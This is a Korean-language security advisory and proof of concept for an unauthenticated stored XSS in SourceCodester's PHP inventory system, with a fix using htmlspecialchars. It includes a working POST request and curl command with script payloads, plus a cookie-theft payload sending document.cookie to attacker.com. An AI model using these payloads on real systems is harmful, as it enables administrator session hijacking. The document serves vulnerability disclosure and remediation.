
SourceCodester Inventory System의 인증되지 않은 저장형 XSS에 대한 개념 증명으로, 조작된 등록 페이로드를 통한 관리자 세션 하이재킹을 시연합니다.
| 필드 | 세부 정보 |
|---|
| 취약점 유형 | 저장형 크로스 사이트 스크립팅 (XSS) |
| 영향받는 애플리케이션 | PHP와 MySQL을 사용한 재고 시스템 |
| 공급업체 | SourceCodester |
| 영향받는 버전 | 1.0 |
| 영향받는 파일 | register.php |
| 매개변수 | fullname, username |
| 인증 필요 | 아니요 (인증 없음) |
| 영향 | 관리자 세션 하이재킹, 관리자 패널에서 악성 스크립트 실행 |
| CVSS 점수 | 8.8 (높음) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
SourceCodester의 PHP와 MySQL을 사용한 재고 시스템(2026년 5월 23일 제출)은 직원 등록 모듈(register.php)에서 **인증되지 않은 저장형 크로스 사이트 스크립팅(XSS)**에 취약합니다.
fullname 및 username 입력 필드는 데이터베이스에 저장하기 전에 사용자 입력을 살균하거나 인코딩하지 못합니다. 관리자가 사용자 관리 페이지(users.php)를 방문하면 살균되지 않은 페이로드가 HTML 컨텍스트에서 직접 렌더링되어 관리자 브라우저 세션에서 즉시 JavaScript가 실행됩니다.
등록에 인증이 필요하지 않기 때문에 원격의 인증되지 않은 공격자가 임의의 JavaScript를 주입할 수 있으며, 이는 사용자 관리 패널을 보는 모든 관리자의 컨텍스트에서 실행됩니다.
/product_inventory/register.php를 방문합니다. — 로그인 필요 없음.fullname 및/또는 username 필드에 악성 페이로드를 제출합니다./product_inventory/users.php로 이동하면 페이로드가 관리자 브라우저에서 자동으로 실행됩니다.http://<TARGET>/product_inventory/register.php
전체 이름 필드 페이로드:
<script>alert(1)</script>
사용자 이름 필드 페이로드:
<script>alert(2)</script>
비밀번호: 임의 값 (예: test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
curl 동등 명령어:
curl -X POST "http://<TARGET>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
관리자로 로그인하고 다음으로 이동합니다:
http://<TARGET>/product_inventory/users.php
두 페이로드 모두 페이지 로드 시 즉시 실행됩니다.
인증되지 않은 공격자가 다음을 수행할 수 있습니다:
세션 쿠키 탈취 예시 페이로드 (공격자 서버로 대체):
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>


취약점은 register.php가 사용자 입력을 살균 없이 데이터베이스에 직접 삽입하고, users.php가 저장된 값을 htmlspecialchars() 인코딩 없이 출력하기 때문에 존재합니다.
users.php의 취약한 패턴 (대략):
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];
수정 — 출력 인코딩 적용:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
추가로, register.php에서 삽입 시 strip_tags() 또는 적절한 검증이 포함된 준비된 문(Prepared Statements)을 사용하여 입력을 살균해야 합니다.
ENT_QUOTES와 함께 htmlspecialchars()를 사용하여 모든 출력을 인코딩합니다.보고자: Syed Imad Uddin Alvi — 독립 보안 연구원